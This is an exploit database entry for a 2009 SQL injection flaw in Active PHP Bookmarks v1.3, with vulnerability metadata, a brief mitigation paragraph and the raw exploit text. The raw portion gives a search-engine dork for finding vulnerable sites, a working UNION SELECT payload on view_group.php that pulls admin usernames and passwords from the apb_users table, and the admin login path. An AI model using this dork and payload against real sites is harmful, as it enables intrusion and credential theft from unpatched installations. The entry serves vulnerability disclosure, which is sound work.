Active PHP Bookmarks v1.3 Remote SQL Injection Vulnerability

vendor:

Active PHP Bookmarks

by:

Mr.Elgaarh

7.5

CVSS

HIGH

Remote SQL Injection

CWE

Product Name: Active PHP Bookmarks

Affected Version From: Active PHP Bookmarks v1.3

Affected Version To: Active PHP Bookmarks v1.3

Patch Exists: NO

Related CWE: N/A

CPE: a:active_php_bookmarks:active_php_bookmarks:1.3

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Active PHP Bookmarks v1.3 Remote SQL Injection Vulnerability

Mr.Elgaarh discovered a Remote SQL Injection vulnerability in Active PHP Bookmarks v1.3. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable server. The attacker can use the Dork “Powered by Active PHP Bookmarks v1.3” inurl:.view_group.php?id= to search for vulnerable servers. The attacker can then use the union select statement to extract the admin username and password from the apb_users table. The admin panel path is http://server/path/cookie_auth.php?action=cookie_login.

Mitigation:

Developers should ensure that user input is properly sanitized and validated before being used in SQL queries. Additionally, developers should use parameterized queries to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Title: Active PHP Bookmarks v1.3 Remote SQL Injection Vulnerability
# EDB-ID: ()
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Mr.Elgaarh
# Published: 2009-12-21
=============================================================
~ Author : Mr.Elgaarh
~ Email : scan_cmpu@yahoo.com
~ Home : http://securityreason.com/
=============================================================

Dork : "Powered by Active PHP Bookmarks v1.3" inurl:.view_group.php?id=

./Exploit:

first search for the admin username :
ex : http://server/path/view_group.php?id=-4

ex : http://[Target.com]/path/view_group.php?id=-4+union+select+0,1,concat(username,0x3a,password),3,4,5,6,7+from+apb_users--

admin panel path : http://server/path/cookie_auth.php?action=cookie_login

---------------------------------------------------------------------------------------------------------------------------
Greets : Mado - Dr.Hacker - Mr.Max - broken proxy - Offensive Security  - AG-Spider - ISlamic Defenders Crew - <http://www.offensive-security.com>